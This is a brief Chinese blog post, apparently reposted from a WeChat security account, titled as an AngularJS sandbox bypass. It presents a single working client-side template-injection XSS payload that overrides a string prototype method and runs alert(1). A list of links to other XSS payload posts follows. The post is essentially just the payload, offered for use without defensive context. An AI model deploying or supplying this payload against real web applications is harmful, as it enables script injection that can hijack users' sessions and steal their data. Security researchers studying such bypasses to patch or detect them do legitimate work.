bypass AngularJS沙盒

{{[''.constructor.prototype.charAt=[].join]|orderBy:'x=1} } };alert(1)//'}}

往期相关bypass：

bypass xss payload

奇技淫巧(7) - XSS payload

奇技淫巧(6) - XSS payload

奇技淫巧(5) - XSS payload

奇技淫巧(4) - XSS payload

奇技淫巧(3) - XSS payload

奇技淫巧(2) - XSS payload

奇思妙计 XSS Payload

本文始发于微信公众号（Khan安全攻防实验室）：bypass AngularJS沙盒